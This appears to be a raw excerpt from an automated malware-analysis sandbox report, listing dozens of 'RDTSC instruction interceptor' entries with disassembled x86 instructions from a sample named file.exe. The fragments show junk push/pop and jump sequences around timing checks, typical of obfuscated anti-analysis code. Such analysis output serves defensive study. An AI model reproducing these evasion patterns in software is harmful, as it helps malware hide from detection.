Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140048 second address: 5140068 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ebp, esp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F2EE4767542h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120EF8 second address: 5120F33 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE474417Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F2EE4744186h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F2EE474417Eh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120F33 second address: 5120F6E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F2EE4767541h 0x00000009 jmp 00007F2EE476753Bh 0x0000000e popfd 0x0000000f mov bx, ax 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 xchg eax, ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F2EE4767541h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120F6E second address: 5120F85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, bx 0x00000006 mov dx, 3EBEh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 mov ebx, 07C2CF04h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120F85 second address: 5120F89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51000FC second address: 5100138 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 61381834h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d jmp 00007F2EE4744184h 0x00000012 mov bx, si 0x00000015 popad 0x00000016 mov ebp, esp 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F2EE4744183h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100138 second address: 510017F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F2EE4767542h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push dword ptr [ebp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F2EE476753Dh 0x00000017 or esi, 3451BD66h 0x0000001d jmp 00007F2EE4767541h 0x00000022 popfd 0x00000023 pushad 0x00000024 popad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 510020F second address: 5100215 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100215 second address: 5100246 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE4767543h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F2EE4767545h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120D1F second address: 5120D23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120D23 second address: 5120D27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120D27 second address: 5120D2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120D2D second address: 5120D33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120D33 second address: 5120D37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120D37 second address: 5120D50 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F2EE476753Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120D50 second address: 5120D56 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120D56 second address: 5120D71 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE476753Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120D71 second address: 5120D77 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120883 second address: 51208C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 movsx edx, si 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d push eax 0x0000000e mov dh, 49h 0x00000010 pop esi 0x00000011 mov ecx, ebx 0x00000013 popad 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 movsx edi, cx 0x0000001b pushfd 0x0000001c jmp 00007F2EE4767542h 0x00000021 and ax, 8CD8h 0x00000026 jmp 00007F2EE476753Bh 0x0000002b popfd 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51208C3 second address: 5120911 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F2EE474417Fh 0x00000009 adc ch, FFFFFF9Eh 0x0000000c jmp 00007F2EE4744189h 0x00000011 popfd 0x00000012 mov bl, cl 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F2EE4744186h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120911 second address: 5120916 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120916 second address: 512091C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 512091C second address: 5120944 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ebp, esp 0x00000009 pushad 0x0000000a push ebx 0x0000000b mov ebx, ecx 0x0000000d pop esi 0x0000000e popad 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F2EE4767546h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120766 second address: 51207F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F2EE4744180h 0x00000009 or eax, 7360F9D8h 0x0000000f jmp 00007F2EE474417Bh 0x00000014 popfd 0x00000015 mov ecx, 7B64788Fh 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d xchg eax, ebp 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F2EE4744180h 0x00000025 add si, 4438h 0x0000002a jmp 00007F2EE474417Bh 0x0000002f popfd 0x00000030 pushfd 0x00000031 jmp 00007F2EE4744188h 0x00000036 or ch, FFFFFF98h 0x00000039 jmp 00007F2EE474417Bh 0x0000003e popfd 0x0000003f popad 0x00000040 push eax 0x00000041 push eax 0x00000042 push edx 0x00000043 jmp 00007F2EE4744184h 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51207F8 second address: 512080A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2EE476753Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 512080A second address: 512080E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51203F8 second address: 51203FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51203FC second address: 5120402 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120402 second address: 512044F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, al 0x00000005 pushfd 0x00000006 jmp 00007F2EE4767547h 0x0000000b or al, FFFFFFFEh 0x0000000e jmp 00007F2EE4767549h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F2EE476753Dh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 512044F second address: 51204D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE4744181h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b call 00007F2EE474417Ah 0x00000010 mov edx, eax 0x00000012 pop ecx 0x00000013 popad 0x00000014 xchg eax, ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F2EE4744186h 0x0000001e add si, 14B8h 0x00000023 jmp 00007F2EE474417Bh 0x00000028 popfd 0x00000029 pushfd 0x0000002a jmp 00007F2EE4744188h 0x0000002f jmp 00007F2EE4744185h 0x00000034 popfd 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51204D0 second address: 51204D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51204D6 second address: 512052F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE4744183h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F2EE474417Bh 0x00000016 and cl, 0000003Eh 0x00000019 jmp 00007F2EE4744189h 0x0000001e popfd 0x0000001f call 00007F2EE4744180h 0x00000024 pop esi 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 512052F second address: 5120535 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51302FD second address: 5130310 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE474417Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130310 second address: 5130316 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130316 second address: 513031A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5170040 second address: 5170044 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5170044 second address: 5170048 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5170048 second address: 517004E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 517004E second address: 5170064 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2EE4744182h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5170064 second address: 51700C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F2EE476753Dh 0x00000010 sbb si, ADF6h 0x00000015 jmp 00007F2EE4767541h 0x0000001a popfd 0x0000001b pushfd 0x0000001c jmp 00007F2EE4767540h 0x00000021 and ch, 00000018h 0x00000024 jmp 00007F2EE476753Bh 0x00000029 popfd 0x0000002a popad 0x0000002b mov ebp, esp 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 push ebx 0x00000031 pop ecx 0x00000032 mov bx, 0092h 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 514037A second address: 5140380 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140380 second address: 5140454 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE476753Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F2EE476753Eh 0x00000011 mov ebp, esp 0x00000013 pushad 0x00000014 push esi 0x00000015 push ebx 0x00000016 pop esi 0x00000017 pop edi 0x00000018 pushfd 0x00000019 jmp 00007F2EE4767546h 0x0000001e and eax, 6479C948h 0x00000024 jmp 00007F2EE476753Bh 0x00000029 popfd 0x0000002a popad 0x0000002b mov eax, dword ptr [ebp+08h] 0x0000002e pushad 0x0000002f pushad 0x00000030 pushfd 0x00000031 jmp 00007F2EE4767542h 0x00000036 xor ecx, 4C338BA8h 0x0000003c jmp 00007F2EE476753Bh 0x00000041 popfd 0x00000042 pushfd 0x00000043 jmp 00007F2EE4767548h 0x00000048 xor esi, 213DFE08h 0x0000004e jmp 00007F2EE476753Bh 0x00000053 popfd 0x00000054 popad 0x00000055 mov di, cx 0x00000058 popad 0x00000059 and dword ptr [eax], 00000000h 0x0000005c jmp 00007F2EE4767542h 0x00000061 and dword ptr [eax+04h], 00000000h 0x00000065 push eax 0x00000066 push edx 0x00000067 push eax 0x00000068 push edx 0x00000069 jmp 00007F2EE476753Ah 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140454 second address: 5140463 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE474417Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140463 second address: 5140469 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140469 second address: 514046D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 514046D second address: 5140484 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE476753Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140484 second address: 514048A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 514048A second address: 514048F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 514048F second address: 5140494 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120710 second address: 5120716 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120716 second address: 5120737 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE4744184h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push edx 0x0000000e pop esi 0x0000000f mov esi, edi 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130F21 second address: 5130F56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE4767549h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F2EE4767543h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130F56 second address: 5130F73 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE4744189h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130F73 second address: 5130F83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2EE476753Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51401B0 second address: 51401B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516079C second address: 5160806 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE4767549h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F2EE4767541h 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F2EE4767543h 0x00000019 adc ecx, 72D1F6BEh 0x0000001f jmp 00007F2EE4767549h 0x00000024 popfd 0x00000025 mov ch, 34h 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160806 second address: 516080C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516080C second address: 5160810 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160810 second address: 5160820 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160820 second address: 5160824 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160824 second address: 516082A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516082A second address: 5160830 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160830 second address: 5160834 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160834 second address: 5160853 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 jmp 00007F2EE476753Ah 0x0000000e push eax 0x0000000f pushad 0x00000010 movsx edx, ax 0x00000013 push eax 0x00000014 push edx 0x00000015 mov eax, 4623E5CFh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160A86 second address: 5160A8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110133 second address: 5110143 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2EE476753Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110143 second address: 511017F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F2EE4744189h 0x00000012 or cl, FFFFFFF6h 0x00000015 jmp 00007F2EE4744181h 0x0000001a popfd 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511017F second address: 51101BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop edi 0x00000005 call 00007F2EE4767546h 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], esi 0x00000011 jmp 00007F2EE4767541h 0x00000016 mov esi, dword ptr [ebp+08h] 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51101BB second address: 51101BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51101BF second address: 51101D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE476753Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51101D2 second address: 51101D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51101D8 second address: 51101DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51101DC second address: 51101E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51101E0 second address: 51101FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F2EE4767543h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51101FE second address: 5110224 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE4744189h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110224 second address: 511022A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511022A second address: 5110230 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110230 second address: 5110234 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110234 second address: 511034F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test esi, esi 0x0000000a pushad 0x0000000b jmp 00007F2EE4744186h 0x00000010 pushfd 0x00000011 jmp 00007F2EE4744182h 0x00000016 and eax, 39A07D28h 0x0000001c jmp 00007F2EE474417Bh 0x00000021 popfd 0x00000022 popad 0x00000023 je 00007F2F56562510h 0x00000029 jmp 00007F2EE4744186h 0x0000002e cmp dword ptr [esi+08h], DDEEDDEEh 0x00000035 jmp 00007F2EE4744180h 0x0000003a je 00007F2F565624F3h 0x00000040 pushad 0x00000041 pushfd 0x00000042 jmp 00007F2EE474417Eh 0x00000047 adc al, FFFFFFE8h 0x0000004a jmp 00007F2EE474417Bh 0x0000004f popfd 0x00000050 mov dx, si 0x00000053 popad 0x00000054 mov edx, dword ptr [esi+44h] 0x00000057 jmp 00007F2EE4744182h 0x0000005c or edx, dword ptr [ebp+0Ch] 0x0000005f jmp 00007F2EE4744180h 0x00000064 test edx, 61000000h 0x0000006a pushad 0x0000006b jmp 00007F2EE474417Eh 0x00000070 push eax 0x00000071 jmp 00007F2EE4744181h 0x00000076 pop esi 0x00000077 popad 0x00000078 jne 00007F2F565624D6h 0x0000007e jmp 00007F2EE4744187h 0x00000083 test byte ptr [esi+48h], 00000001h 0x00000087 push eax 0x00000088 push edx 0x00000089 push eax 0x0000008a push edx 0x0000008b push eax 0x0000008c push edx 0x0000008d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511034F second address: 5110353 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110353 second address: 5110359 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110359 second address: 5110376 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2EE4767549h 0x00000009 rdtsc
